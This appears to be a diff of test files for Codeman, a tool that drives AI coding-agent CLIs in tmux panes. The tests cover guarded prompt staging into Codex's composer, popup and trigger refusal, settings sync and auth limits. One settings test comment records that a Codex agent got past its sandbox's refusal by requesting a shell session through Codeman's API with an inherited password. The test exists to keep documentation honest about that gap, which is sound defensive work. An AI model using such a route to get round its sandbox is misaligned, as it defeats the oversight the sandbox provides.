return formatPaneSnapshot([`› ${shown}`, ' GPT-6-Luna default · ~/case'], {
|
||||
cols: 100,
|
||||
rows: 20,
|
||||
cursorX: 2 + composer.length,
|
||||
cursorY: 0,
|
||||
});
|
||||
},
|
||||
sendInput: async (_id: string, text: string, options?: { beforeDispatch?: () => boolean }) => {
|
||||
if (options?.beforeDispatch && !options.beforeDispatch()) return false;
|
||||
writes.push(text);
|
||||
if (text !== '\r') {
|
||||
composer += text;
|
||||
torn = 2;
|
||||
}
|
||||
return true;
|
||||
},
|
||||
},
|
||||
muxSession: { muxName: 'codeman-12345678', sessionId: 'test', createdAt: 1, pid: 1 },
|
||||
} as unknown as ConstructorParameters<typeof Session>[0]);
|
||||
const { GuardedStageStore, guardedComposerChrome } = await import('../src/agent-staging.js');
|
||||
const { getCli } = await import('../src/config/cli-registry/registry.js');
|
||||
const sleeps: number[] = [];
|
||||
const store = new GuardedStageStore(Date.now, 1024, 120000, {
|
||||
sleep: async (ms) => {
|
||||
sleeps.push(ms);
|
||||
},
|
||||
});
|
||||
const target = {
|
||||
id: session.id,
|
||||
chrome: () => guardedComposerChrome(getCli('codex')),
|
||||
snapshot: () => session.guardedInputSnapshot(),
|
||||
write: (text: string) => session.stageGuardedInput(text),
|
||||
submit: (snap: Parameters<Session['submitGuardedInput']>[0]) => session.submitGuardedInput(snap),
|
||||
};
|
||||
try {
|
||||
const receipt = await store.stage(target, 'alice', 'hello');
|
||||
expect(receipt.sha256).toBe(promptSha256('hello'));
|
||||
expect(sleeps).toHaveLength(2);
|
||||
await expect(store.submit(target, 'alice', receipt.stageId, receipt.sha256)).resolves.toMatchObject({
|
||||
submitted: true,
|
||||
});
|
||||
expect(writes).toEqual(['hello', '\r']);
|
||||
} finally {
|
||||
await session.stop(false);
|
||||
}
|
||||
});
|
||||
|
||||
it('offers no guarded input on an adopted pane, however much it looks like a composer', () => {
|
||||
// Stage and submit type a prompt on an agent's behalf, here into a pane a human is using.
|
||||
const screen = '\u203a \n GPT-6-Luna default \u00b7 ~/case\n';
|
||||
const mux = {
|
||||
isAvailable: () => true,
|
||||
capturePaneBuffer: (
|
||||
_name: string,
|
||||
_pane?: string,
|
||||
opts?: { capturedGeometry?: { cols: number; rows: number } }
|
||||
) => {
|
||||
if (opts) opts.capturedGeometry = { cols: 100, rows: 20 };
|
||||
return formatPaneSnapshot(screen.trimEnd().split('\n'), { cols: 100, rows: 20, cursorX: 2, cursorY: 0 });
|
||||
},
|
||||
sendInput: async () => true,
|
||||
};
|
||||
const build = (adopt?: SessionAdopt) =>
|
||||
new Session({
|
||||
workingDir: '/tmp',
|
||||
mode: 'codex',
|
||||
mux,
|
||||
adopt,
|
||||
muxSession: { muxName: 'codeman-test', sessionId: 'test', createdAt: 1, pid: 12345 },
|
||||
} as unknown as ConstructorParameters<typeof Session>[0]);
|
||||
expect(build().guardedInputSnapshot()).not.toBeNull();
|
||||
expect(
|
||||
build({
|
||||
location: 'local',
|
||||
socketPath: '/tmp/tmux-1000/default',
|
||||
targetSession: 'work',
|
||||
viewSession: 'codeman-view-00000000',
|
||||
}).guardedInputSnapshot()
|
||||
).toBeNull();
|
||||
});
|
||||
@@ -0,0 +1,380 @@
|
||||
/** @fileoverview Guarded staging one-shot and content-verification safety. */
|
||||
import { beforeEach, describe, expect, it } from 'vitest';
|
||||
import { createHash } from 'node:crypto';
|
||||
import { CODEX_REASONING_EFFORTS } from '../src/types/session.js';
|
||||
import {
|
||||
GuardedStageStore,
|
||||
STAGE_SETTLE_INTERVAL_MS,
|
||||
STAGE_SETTLE_TIMEOUT_MS,
|
||||
SUBMIT_QUIET_MS,
|
||||
composerTriggerRefusal,
|
||||
guardedComposerChrome,
|
||||
readGuardedComposer,
|
||||
readGuardedSnapshot,
|
||||
type GuardedInputTarget,
|
||||
} from '../src/agent-staging.js';
|
||||
import { getCli, listClis } from '../src/config/cli-registry/registry.js';
|
||||
/** Codex's composer chrome exactly as the registry declares it: no copy of the glyph or footer here. */
|
||||
const CODEX = guardedComposerChrome(getCli('codex'))!;
|
||||
const readGuardedCodexComposer = (screen: string) => readGuardedComposer(screen, CODEX);
|
||||
const readGuardedCodexSnapshot = (snapshot: string) => readGuardedSnapshot(snapshot, CODEX);
|
||||
const sha = (s: string) => createHash('sha256').update(s).digest('hex');
|
||||
let store: GuardedStageStore;
|
||||
let time: number;
|
||||
let generation: string;
|
||||
let revision: number;
|
||||
let composer: string | null;
|
||||
let writes: string[];
|
||||
let fail: boolean;
|
||||
let target: GuardedInputTarget;
|
||||
/** Every settle-window wait, on the fake clock: no real timer runs in this file. */
|
||||
let sleeps: number[];
|
||||
const fakeSleep = async (ms: number) => {
|
||||
sleeps.push(ms);
|
||||
time += ms;
|
||||
};
|
||||
beforeEach(() => {
|
||||
sleeps = [];
|
||||
time = 0;
|
||||
generation = 'pane-1';
|
||||
revision = 0;
|
||||
composer = '';
|
||||
writes = [];
|
||||
fail = false;
|
||||
store = new GuardedStageStore(() => time, 2, 1000, { sleep: fakeSleep });
|
||||
target = {
|
||||
id: 's',
|
||||
chrome: () => CODEX,
|
||||
snapshot: () =>
|
||||
composer === null ? null : { generation, revision, composerSha: sha(composer), availableColumns: 100 },
|
||||
submit: async () => target.write('\r'),
|
||||
write: async (text) => {
|
||||
writes.push(text);
|
||||
revision++;
|
||||
if (fail) return false;
|
||||
composer = text === '\r' ? '' : composer + text;
|
||||
return true;
|
||||
},
|
||||
};
|
||||
});
|
||||
it('stages without Enter, stores only a hash, and submits exactly once', async () => {
|
||||
const receipt = await store.stage(target, 'alice', 'hello');
|
||||
expect(writes).toEqual(['hello']);
|
||||
expect(receipt.sha256).toBe(sha('hello'));
|
||||
expect(JSON.stringify(receipt)).not.toContain('hello');
|
||||
await store.submit(target, 'alice', receipt.stageId, receipt.sha256);
|
||||
expect(writes).toEqual(['hello', '\r']);
|
||||
await expect(store.submit(target, 'alice', receipt.stageId, receipt.sha256)).rejects.toThrow();
|
||||
});
|
||||
it('refuses multiline, controls, oversized prompts and nonempty or unprovable composers before writing', async () => {
|
||||
for (const text of ['', 'one\ntwo', 'one\rtwo', '\u001b', '\u0085', 'x'.repeat(20000), '\ud800'])
|
||||
await expect(store.stage(target, 'alice', text)).rejects.toThrow();
|
||||
composer = 'existing';
|
||||
await expect(store.stage(target, 'alice', 'hello')).rejects.toThrow();
|
||||
composer = null;
|
||||
await expect(store.stage(target, 'alice', 'hello')).rejects.toThrow();
|
||||
expect(writes).toEqual([]);
|
||||
});
|
||||
it('refuses altered composer including whitespace-only differences', async () => {
|
||||
const receipt = await store.stage(target, 'alice', 'hello world');
|
||||
composer = 'helloworld';
|
||||
await expect(store.submit(target, 'alice', receipt.stageId, receipt.sha256)).rejects.toThrow();
|
||||
expect(writes).toEqual(['hello world']);
|
||||
});
|
||||
it('refuses changed generation, intervening input, wrong owner/session/hash and expiry', async () => {
|
||||
for (const change of [
|
||||
() => {
|
||||
generation = 'pane-2';
|
||||
},
|
||||
() => {
|
||||
revision++;
|
||||
},
|
||||
() => {
|
||||
time += 1001;
|
||||
},
|
||||
]) {
|
||||
composer = '';
|
||||
const receipt = await store.stage(target, 'alice', 'hello');
|
||||
change();
|
||||
await expect(store.submit(target, 'alice', receipt.stageId, receipt.sha256)).rejects.toThrow();
|
||||
}
|
||||
composer = '';
|
||||
const receipt = await store.stage(target, 'alice', 'hello');
|
||||
await expect(store.submit(target, 'bob', receipt.stageId, receipt.sha256)).rejects.toThrow();
|
||||
await expect(store.submit({ ...target, id: 'other' }, 'alice', receipt.stageId, receipt.sha256)).rejects.toThrow();
|
||||
await expect(store.submit(target, 'alice', receipt.stageId, sha('other'))).rejects.toThrow();
|
||||
expect(writes.filter((s) => s === '\r')).toHaveLength(0);
|
||||
});
|
||||
it('consumes before write so concurrent and failed deliveries never replay Enter', async () => {
|
||||
const receipt = await store.stage(target, 'alice', 'hello');
|
||||
fail = true;
|
||||
const results = await Promise.allSettled([
|
||||
store.submit(target, 'alice', receipt.stageId, receipt.sha256),
|
||||
store.submit(target, 'alice', receipt.stageId, receipt.sha256),
|
||||
]);
|
||||
expect(results.every((r) => r.status === 'rejected')).toBe(true);
|
||||
expect(writes).toEqual(['hello', '\r']);
|
||||
await expect(store.submit(target, 'alice', receipt.stageId, receipt.sha256)).rejects.toThrow();
|
||||
});
|
||||
it('does not issue a receipt on failed staging or intervening input during its write', async () => {
|
||||
fail = true;
|
||||
await expect(store.stage(target, 'alice', 'hello')).rejects.toThrow();
|
||||
fail = false;
|
||||
composer = '';
|
||||
const altered = {
|
||||
...target,
|
||||
write: async (s: string) => {
|
||||
await target.write(s);
|
||||
revision++;
|
||||
return true;
|
||||
},
|
||||
};
|
||||
await expect(store.stage(altered, 'alice', 'hello')).rejects.toThrow();
|
||||
});
|
||||
|
||||
it('reads exact composer spaces and refuses wrapped or modal frames', async () => {
|
||||
expect(readGuardedCodexComposer('› hello world\n GPT-6-Luna default · ~/case\n')).toBe('hello world');
|
||||
expect(
|
||||
readGuardedCodexComposer(
|
||||
'› \x1b[2mAsk Codex to do anything\x1b[0m\n GPT-6-Luna default · ~/case\n ← for agents · ? for shortcuts'
|
||||
)
|
||||
).toBe('');
|
||||
expect(readGuardedCodexComposer('› wrapped\n more text\n GPT-6-Luna default · ~/case')).toBeNull();
|
||||
expect(readGuardedCodexComposer('› 1. Yes\n Press enter to confirm')).toBeNull();
|
||||
expect(readGuardedCodexComposer('› hello\n')).toBeNull();
|
||||
});
|
||||
it('requires capture cursor geometry, rejecting invisible trailing edits and moved cursors', async () => {
|
||||
const { formatPaneSnapshot } = await import('../src/tmux-manager.js');
|
||||
const frame = (text: string, x: number, y = 0) =>
|
||||
formatPaneSnapshot([`› ${text}`, ' GPT-6-Luna default · ~/case'], { cols: 100, rows: 20, cursorX: x, cursorY: y });
|
||||
expect(readGuardedCodexSnapshot(frame('hello', 7))).toBe('hello');
|
||||
expect(readGuardedCodexSnapshot(frame('hello', 8))).toBeNull();
|
||||
expect(readGuardedCodexSnapshot(frame('hello', 4))).toBeNull();
|
||||
expect(readGuardedCodexSnapshot(frame('hello', 7, 1))).toBeNull();
|
||||
expect(readGuardedCodexSnapshot('› hello\n GPT-6-Luna default · ~/case')).toBeNull();
|
||||
expect(readGuardedCodexSnapshot(frame('你好', 6))).toBe('你好');
|
||||
expect(readGuardedCodexSnapshot(frame('\x1b[38;2;2;100;100mhello\x1b[0m', 7))).toBe('hello');
|
||||
});
|
||||
it('reserves receipt capacity before concurrent stages type', async () => {
|
||||
store = new GuardedStageStore(() => time, 1, 1000, { sleep: fakeSleep });
|
||||
let release: (() => void) | undefined;
|
||||
const firstTarget = {
|
||||
...target,
|
||||
write: async (text: string) => {
|
||||
await new Promise<void>((resolve) => {
|
||||
release = resolve;
|
||||
});
|
||||
return target.write(text);
|
||||
},
|
||||
};
|
||||
const first = store.stage(firstTarget, 'alice', 'hello');
|
||||
const otherTarget = { ...target, id: 'other' };
|
||||
await expect(store.stage(otherTarget, 'alice', 'other')).rejects.toThrow(/capacity/i);
|
||||
expect(writes).toEqual([]);
|
||||
release!();
|
||||
await first;
|
||||
});
|
||||
|
||||
it.each([...CODEX_REASONING_EFFORTS, 'default'])(
|
||||
'accepts the shared Codex effort word %s in the footer',
|
||||
async (word) => {
|
||||
expect(readGuardedCodexComposer(`› hello\n GPT-6 ${word} · ~/case\n`)).toBe('hello');
|
||||
}
|
||||
);
|
||||
|
||||
it('refuses messages that reach the available pane columns before typing', async () => {
|
||||
target.snapshot = () => ({ generation, revision, composerSha: sha(composer ?? ''), availableColumns: 4 });
|
||||
for (const text of ['four', '界界']) await expect(store.stage(target, 'alice', text)).rejects.toThrow();
|
||||
expect(writes).toEqual([]);
|
||||
await expect(store.stage(target, 'alice', 'abc')).resolves.toMatchObject({ submitted: false });
|
||||
});
|
||||
|
||||
it('takes the composer glyph and footer from the registry, and only codex declares a footer', () => {
|
||||
const codex = getCli('codex')!.capabilities.workDetect!;
|
||||
expect(CODEX.promptGlyph).toBe(codex.promptGlyph);
|
||||
expect(CODEX.footerLine.source).toBe(codex.composerFooterLine);
|
||||
// Another glyph drives the same reader: nothing in it is codex-specific.
|
||||
const other = { promptGlyph: '>>', footerLine: CODEX.footerLine };
|
||||
expect(readGuardedComposer('>> hello\n GPT-6 default · ~/case\n', other)).toBe('hello');
|
||||
expect(readGuardedComposer('› hello\n GPT-6 default · ~/case\n', other)).toBeNull();
|
||||
const declaring = listClis()
|
||||
.filter((entry) => entry.capabilities.workDetect?.composerFooterLine)
|
||||
.map((entry) => entry.id);
|
||||
expect(declaring).toEqual(['codex']);
|
||||
expect(guardedComposerChrome(getCli('claude'))).toBeNull();
|
||||
// A pattern the ReDoS guard refuses yields no chrome, so no guarded input.
|
||||
const unsafe = structuredClone(getCli('codex')!);
|
||||
unsafe.capabilities.workDetect!.composerFooterLine = '(a+)+b';
|
||||
expect(guardedComposerChrome(unsafe)).toBeNull();
|
||||
});
|
||||
|
||||
describe('the settle window after typing (a live codex pane repaints 30 to 60 ms after the keys)', () => {
|
||||
/** Serve these post-write frames in order, then the target's own snapshot. */
|
||||
function afterWrite(frames: Array<(() => ReturnType<GuardedInputTarget['snapshot']>) | null>) {
|
||||
let written = false;
|
||||
const own = target.snapshot;
|
||||
const write = target.write;
|
||||
target.write = async (text) => {
|
||||
const ok = await write(text);
|
||||
written = true;
|
||||
return ok;
|
||||
};
|
||||
target.snapshot = () => {
|
||||
if (!written || frames.length === 0) return own();
|
||||
const next = frames.shift()!;
|
||||
return next ? next() : null;
|
||||
};
|
||||
}
|
||||
const stale = () => ({ generation, revision, composerSha: sha(''), availableColumns: 100 });
|
||||
|
||||
it('names its bounds', () => {
|
||||
expect(STAGE_SETTLE_TIMEOUT_MS).toBe(1000);
|
||||
expect(STAGE_SETTLE_INTERVAL_MS).toBe(50);
|
||||
});
|
||||
it('issues a receipt once a null first frame is followed by a valid one', async () => {
|
||||
afterWrite([null]);
|
||||
const receipt = await store.stage(target, 'alice', 'hello');
|
||||
expect(receipt.sha256).toBe(sha('hello'));
|
||||
expect(sleeps).toEqual([STAGE_SETTLE_INTERVAL_MS]);
|
||||
});
|
||||
it('issues a receipt once a stale frame (the old, empty composer) is followed by a valid one', async () => {
|
||||
afterWrite([stale, stale]);
|
||||
await expect(store.stage(target, 'alice', 'hello')).resolves.toMatchObject({ submitted: false });
|
||||
expect(sleeps).toHaveLength(2);
|
||||
});
|
||||
it('refuses, saying the text may be in the composer, when no frame verifies within the window', async () => {
|
||||
target.snapshot = () => (writes.length ? null : stale());
|
||||
const refusal = await store.stage(target, 'alice', 'hello').catch((error: Error) => error.message);
|
||||
expect(refusal).toMatch(/within 1000 ms; no receipt was issued/);
|
||||
expect(refusal).toMatch(/may already be in the composer.*Ctrl\+U/);
|
||||
expect(sleeps.length).toBeGreaterThanOrEqual(STAGE_SETTLE_TIMEOUT_MS / STAGE_SETTLE_INTERVAL_MS);
|
||||
});
|
||||
it('issues no receipt for a frame whose composer text differs from the message', async () => {
|
||||
const write = target.write;
|
||||
target.write = async (text) => {
|
||||
await write(text);
|
||||
composer = 'hellp'; // codex shows something else: a transformed paste, a dropped key
|
||||
return true;
|
||||
};
|
||||
await expect(store.stage(target, 'alice', 'hello')).rejects.toThrow(/did not show the staged message/);
|
||||
// Nothing to submit: no receipt was stored for the frame that did not match.
|
||||
composer = 'hello';
|
||||
await expect(store.submit(target, 'alice', '11111111-1111-4111-8111-111111111111', sha('hello'))).rejects.toThrow(
|
||||
/Unknown/
|
||||
);
|
||||
});
|
||||
it('refuses at once, without waiting, when another writer moved the input during the window', async () => {
|
||||
afterWrite([() => ({ generation, revision: revision + 1, composerSha: sha('hello'), availableColumns: 100 })]);
|
||||
await expect(store.stage(target, 'alice', 'hello')).rejects.toThrow(
|
||||
/Input or pane changed while staging; no receipt was issued\. The message may already be in the composer/
|
||||
);
|
||||
expect(sleeps).toEqual([]);
|
||||
});
|
||||
it('words a failed typing delivery like the submit refusal: it cannot know whether the text landed', async () => {
|
||||
fail = true;
|
||||
await expect(store.stage(target, 'alice', 'hello')).rejects.toThrow(
|
||||
/^Staging delivery failed or ambiguous; no receipt was issued\. The message may already be in the composer/
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('popups and commands that change what Enter does (codex rust-v0.162.0 bottom_pane)', () => {
|
||||
const footer = ' gpt-5.6-terra default · ~/case';
|
||||
/** A frame as codex lays it out: transcript, popup, the composer's blank top row, composer, blank, footer. */
|
||||
const frame = (popup: string[], draft: string) =>
|
||||
['• Earlier answer from the agent.', '', ...popup, '', `› ${draft}`, '', footer].join('\n');
|
||||
|
||||
it('reads the idle frame with transcript above it', () => {
|
||||
expect(readGuardedCodexComposer(frame([], 'hello'))).toBe('hello');
|
||||
});
|
||||
it('refuses the slash-command list codex opens above `› /stat` (Enter would run /status)', () => {
|
||||
const popup = [
|
||||
'› /status show current session configuration and token usage',
|
||||
' /statusline configure which items appear in the status line',
|
||||
];
|
||||
expect(readGuardedCodexComposer(frame(popup, '/stat'))).toBeNull();
|
||||
// A wrapped description row at the bottom of the list does not hide it.
|
||||
expect(readGuardedCodexComposer(frame(['› /tier-one Use faster', ' inference'], '/tier'))).toBeNull();
|
||||
});
|
||||
it('refuses the skill, mention and file-search popups', () => {
|
||||
const skill = ['› 1password [Skill] Example skill used in tests.', '', ' enter insert · esc close'];
|
||||
const mention = [
|
||||
' Mentions',
|
||||
' All Results Filesystem Only Plugins',
|
||||
' sa',
|
||||
'› Sample Plugin Plugin with skills and an MCP server Plugin',
|
||||
' enter/tab insert · esc close · ↑/↓ select · ←/→ filter',
|
||||
];
|
||||
expect(readGuardedCodexComposer(frame(skill, '$1p'))).toBeNull();
|
||||
expect(readGuardedCodexComposer(frame(mention, '@sa'))).toBeNull();
|
||||
expect(readGuardedCodexComposer(frame([' loading...', ''], '@src'))).toBeNull();
|
||||
expect(readGuardedCodexComposer(frame(['no matches'], '/zz'))).toBeNull();
|
||||
});
|
||||
it('looks only at the block directly above the composer, not the transcript further up', () => {
|
||||
const screen = [' /status shows the status', '', '• Answer.', '', '', '', '› hello', '', footer].join('\n');
|
||||
expect(readGuardedCodexComposer(screen)).toBe('hello');
|
||||
});
|
||||
it('takes the popup pattern and the trigger characters from the registry', () => {
|
||||
const codex = getCli('codex')!.capabilities.workDetect!;
|
||||
expect(CODEX.popupLine?.source).toBe(new RegExp(codex.composerPopupLine!).source);
|
||||
expect(CODEX.commandPrefixes).toBe('/!');
|
||||
expect(CODEX.completionSigils).toBe('@$');
|
||||
// A popup pattern the ReDoS guard refuses yields no chrome, rather than chrome without it.
|
||||
const unsafe = structuredClone(getCli('codex')!);
|
||||
unsafe.capabilities.workDetect!.composerPopupLine = '(a+)+b';
|
||||
expect(guardedComposerChrome(unsafe)).toBeNull();
|
||||
});
|
||||
it.each([
|
||||
['/stat', '/'],
|
||||
['/status now', '/'],
|
||||
[' /review', '/'],
|
||||
['!ls -la', '!'],
|
||||
['review @src/app', '@'],
|
||||
['@notes', '@'],
|
||||
['run $skill', '$'],
|
||||
['costs $5', '$'],
|
||||
])('refuses %j before typing (trigger %s)', async (message, trigger) => {
|
||||
expect(composerTriggerRefusal(message, CODEX)).toContain(`"${trigger}"`);
|
||||
await expect(store.stage(target, 'alice', message)).rejects.toThrow(
|
||||
trigger === '/' || trigger === '!' ? /codeman agent send/ : /completion popup/
|
||||
);
|
||||
expect(writes).toEqual([]);
|
||||
});
|
||||
it.each(['look at @src/app.ts please', 'mail a@b.example', 'pay $5 today', 'a/b and c!'])(
|
||||
'stages %j: no trigger at the start, and the caret word opens nothing',
|
||||
async (message) => {
|
||||
expect(composerTriggerRefusal(message, CODEX)).toBeNull();
|
||||
await expect(store.stage(target, 'alice', message)).resolves.toMatchObject({ submitted: false });
|
||||
}
|
||||
);
|
||||
});
|
||||
|
||||
describe("the quiet time before Enter (codex's 120 ms paste-burst window turns Enter into a newline)", () => {
|
||||
it('waits out the rest of the window after the staged keys before checking and sending Enter', async () => {
|
||||
expect(SUBMIT_QUIET_MS).toBeGreaterThan(120);
|
||||
const receipt = await store.stage(target, 'alice', 'hello');
|
||||
time += 40;
|
||||
await store.submit(target, 'alice', receipt.stageId, receipt.sha256);
|
||||
expect(sleeps).toEqual([SUBMIT_QUIET_MS - 40]);
|
||||
expect(writes).toEqual(['hello', '\r']);
|
||||
});
|
||||
it('does not wait once the window has passed', async () => {
|
||||
const receipt = await store.stage(target, 'alice', 'hello');
|
||||
time += SUBMIT_QUIET_MS;
|
||||
await store.submit(target, 'alice', receipt.stageId, receipt.sha256);
|
||||
expect(sleeps).toEqual([]);
|
||||
});
|
||||
it('still refuses when a keystroke lands during the wait', async () => {
|
||||
store = new GuardedStageStore(() => time, 2, 1000, {
|
||||
sleep: async (ms) => {
|
||||
await fakeSleep(ms);
|
||||
revision++; // the user typed while submit waited
|
||||
},
|
||||
});
|
||||
const receipt = await store.stage(target, 'alice', 'hello');
|
||||
await expect(store.submit(target, 'alice', receipt.stageId, receipt.sha256)).rejects.toThrow(
|
||||
/changed; nothing submitted/
|
||||
);
|
||||
expect(writes).toEqual(['hello']);
|
||||
});
|
||||
});
|
||||
@@ -120,6 +120,8 @@ describe('Antigravity mode gates', () => {
|
||||
expect(defaultDockerCommandForMode('antigravity')).toBe('exec agy');
|
||||
// Routed through an interactive login shell so per-user PATH entries resolve —
|
||||
// same fix as the other remote agent CLIs (see defaultRemoteCommandForMode).
|
||||
expect(defaultRemoteCommandForMode('antigravity')).toBe('exec "${SHELL:-/bin/sh}" -i -l -c \'agy\'');
|
||||
expect(defaultRemoteCommandForMode('antigravity')).toBe(
|
||||
'{ set -- -i -l; case ${SHELL##*/} in csh|tcsh) set --;; esac; exec "${SHELL:-/bin/sh}" "$@" -c \'agy\'; }'
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -12,6 +12,7 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
import { SettingsUpdateSchema } from '../src/web/schemas.js';
|
||||
|
||||
const publicDir = resolve(import.meta.dirname, '../src/web/public');
|
||||
const html = readFileSync(resolve(publicDir, 'index.html'), 'utf8');
|
||||
@@ -195,6 +196,70 @@ describe('App Settings modal structure', () => {
|
||||
}
|
||||
});
|
||||
|
||||
/**
|
||||
* Git fetch on an interval (src/git-fetch-scheduler.ts). Both keys are SYNCED, not display keys, because
|
||||
* the server's scheduler is what acts on them: kept per-device, the scheduler would read nobody's number.
|
||||
* Off by default, and the interval clamped on save to the same bounds the schema accepts.
|
||||
*/
|
||||
it('keeps the Git fetch rows synced, off by default, and inside the bounds the scheduler acts on', () => {
|
||||
const modal = settingsModal();
|
||||
const bar = modal.match(/<h4>Bottom bar<\/h4>([\s\S]*?)(?=<div class="set-group-head">)/)?.[1];
|
||||
expect(bar, 'the Git fetch rows are not in the Bottom bar group').toBeTruthy();
|
||||
for (const id of ['appSettingsGitFetchEnabled', 'appSettingsGitFetchIntervalSeconds']) {
|
||||
const at = modal.indexOf(`id="${id}"`);
|
||||
expect(at, `no element ${id}`).toBeGreaterThan(-1);
|
||||
const row = modal.slice(modal.lastIndexOf('<div class="set-row"', at), modal.indexOf('</div>', at));
|
||||
expect(row).toContain('<span class="set-scope">synced</span>');
|
||||
}
|
||||
// The number row's own bounds must agree with the schema's, or the browser sends a value the PUT rejects.
|
||||
expect(modal).toContain('id="appSettingsGitFetchIntervalSeconds" class="set-num" value="300" min="30" max="3600"');
|
||||
|
||||
// Display keys are the half of the per-device split that keeps a value off the server.
|
||||
const displayStart = settingsUi.indexOf('const displayKeys = new Set([');
|
||||
const displayBlock = settingsUi.slice(displayStart, settingsUi.indexOf(']);', displayStart));
|
||||
expect(displayBlock).not.toContain('gitFetchEnabled');
|
||||
expect(displayBlock).not.toContain('gitFetchIntervalSeconds');
|
||||
// The strip destructure is the other half: an aliased key here never reaches the settings PUT.
|
||||
expect(settingsUi).not.toMatch(/gitFetch(?:Enabled|IntervalSeconds):\s*_\w+/);
|
||||
|
||||
// Declared in the .strict() schema: an undeclared key 400s the whole settings PUT.
|
||||
expect(SettingsUpdateSchema.safeParse({ gitFetchEnabled: true, gitFetchIntervalSeconds: 300 }).success).toBe(true);
|
||||
|
||||
// Off by default (only an explicit true loads as on), and an empty box falls back to the default interval.
|
||||
expect(settingsUi).toContain(
|
||||
"document.getElementById('appSettingsGitFetchEnabled').checked = settings.gitFetchEnabled === true;"
|
||||
);
|
||||
expect(settingsUi).toContain(
|
||||
"document.getElementById('appSettingsGitFetchIntervalSeconds').value = settings.gitFetchIntervalSeconds ?? 300;"
|
||||
);
|
||||
expect(settingsUi).toMatch(
|
||||
/gitFetchIntervalSeconds: Math\.min\(\s*3600,\s*Math\.max\(30, parseInt\(document\.getElementById\('appSettingsGitFetchIntervalSeconds'\)\.value, 10\) \|\| 300\)\s*\),/
|
||||
);
|
||||
});
|
||||
|
||||
it('never sells Allow network access as leaving the sandbox in charge', () => {
|
||||
// Measured 2026-11-06 on codex 0.162.0: with the network open, a command the sandbox
|
||||
// refused (`touch` outside the workspace) landed by asking Codeman's API for a shell
|
||||
// session, and from inside a Codeman pane it did so with a password set, because a pane
|
||||
// inherits CODEMAN_PASSWORD. So "the sandbox and approvals stay on" is false comfort.
|
||||
const modal = settingsModal();
|
||||
const start = modal.indexOf('data-search="codex network access');
|
||||
expect(start).toBeGreaterThan(-1);
|
||||
const row = modal.slice(start, modal.indexOf('id="appSettingsCodexNetworkAccess"', start));
|
||||
const read = (path: string) => readFileSync(resolve(import.meta.dirname, '..', path), 'utf8');
|
||||
const referenceRow = read('docs/wiki/Settings-Reference.md')
|
||||
.split('\n')
|
||||
.find((line) => line.startsWith('| Allow network access'));
|
||||
expect(referenceRow).toBeDefined();
|
||||
const safetyClaim = /sandbox and approvals? (prompts )?stay on|keeps? (Codex's |the )?sandbox and approval/i;
|
||||
for (const text of [row, referenceRow!, read('docs/wiki/Codeman-Skill.md'), read('skills/codeman/SKILL.md')]) {
|
||||
expect(text).not.toMatch(safetyClaim);
|
||||
}
|
||||
for (const text of [row, referenceRow!, read('docs/wiki/Security.md')]) {
|
||||
expect(text).toContain("Codeman's API");
|
||||
}
|
||||
});
|
||||
|
||||
it('has retired the modal-tab chrome everywhere, not just here', () => {
|
||||
// Session Options and Add Case moved onto this same `set-*` surface, so the
|
||||
// old tab classes have no users left. A reappearance means a modal drifted
|
||||
|
||||
@@ -15,6 +15,7 @@ import { WebServer } from '../src/web/server.js';
|
||||
import { TmuxManager } from '../src/tmux-manager.js';
|
||||
import { SettingsUpdateSchema } from '../src/web/schemas.js';
|
||||
import { getHookSecret, HOOK_SECRET_HEADER } from '../src/config/hook-secret.js';
|
||||
import { AUTH_FAILURE_MAX } from '../src/config/auth-config.js';
|
||||
|
||||
const TEST_USER = 'admin';
|
||||
const TEST_PASS = 'test-password-12345';
|
||||
@@ -46,7 +47,7 @@ async function getSessionCookie(baseUrl: string): Promise<string> {
|
||||
}
|
||||
|
||||
async function exhaustAuthFailures(baseUrl: string, prefix: string): Promise<void> {
|
||||
for (let i = 0; i < 10; i++) {
|
||||
for (let i = 0; i < AUTH_FAILURE_MAX; i++) {
|
||||
const res = await fetch(`${baseUrl}/api/status`, {
|
||||
headers: { Authorization: basicAuthHeader(TEST_USER, `${prefix}-${i}`) },
|
||||
});
|
||||
|
||||
@@ -0,0 +1,181 @@
|
||||
/**
|
||||
* @fileoverview The Case settings "Default session group" selector (session-ui.js):
|
||||
* it lists Ungrouped plus every named group the server reports, saves through
|
||||
* PUT /api/cases/:name/default-group, reverts on a refused save, mirrors the
|
||||
* desktop and phone popovers, and refreshes its options when the tab layout
|
||||
* changes (groups created, renamed or deleted). Also pins the zh-CN strings.
|
||||
*
|
||||
* Port: none (vm sandbox, stubbed fetch and DOM).
|
||||
*/
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
import vm from 'node:vm';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
|
||||
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
|
||||
|
||||
function fakeSelect() {
|
||||
const select: any = {
|
||||
value: '',
|
||||
disabled: false,
|
||||
options: [] as any[],
|
||||
replaceChildren(...nodes: any[]) {
|
||||
select.options = nodes;
|
||||
},
|
||||
};
|
||||
return select;
|
||||
}
|
||||
|
||||
function harness(server: { groups: Array<{ id: string; name: string }>; groupId: string | null; putStatus?: number }) {
|
||||
const elements: Record<string, any> = {
|
||||
quickStartCase: { value: 'proj' },
|
||||
caseDefaultGroup: fakeSelect(),
|
||||
caseDefaultGroupMobile: fakeSelect(),
|
||||
};
|
||||
const requests: Array<{ url: string; method: string; body?: any }> = [];
|
||||
const CodemanApp = function CodemanApp(this: any) {};
|
||||
const context = vm.createContext({
|
||||
CodemanApp,
|
||||
localStorage: { getItem: () => null, setItem: () => {} },
|
||||
document: {
|
||||
getElementById: (id: string) => elements[id] ?? null,
|
||||
createElement: () => {
|
||||
const attrs: Record<string, string> = {};
|
||||
return { value: '', textContent: '', attrs, setAttribute: (k: string, v: string) => (attrs[k] = v) };
|
||||
},
|
||||
},
|
||||
fetch: async (url: string, init?: { method?: string; body?: string }) => {
|
||||
const method = init?.method ?? 'GET';
|
||||
const body = init?.body ? JSON.parse(init.body) : undefined;
|
||||
requests.push({ url, method, body });
|
||||
const ok = method !== 'PUT' || (server.putStatus ?? 200) === 200;
|
||||
if (method === 'PUT' && ok) server.groupId = body.groupId;
|
||||
const payload = ok
|
||||
? { success: true, data: { caseName: 'proj', groupId: server.groupId, groups: server.groups } }
|
||||
: { success: false, error: 'nope', errorCode: 'INVALID_INPUT' };
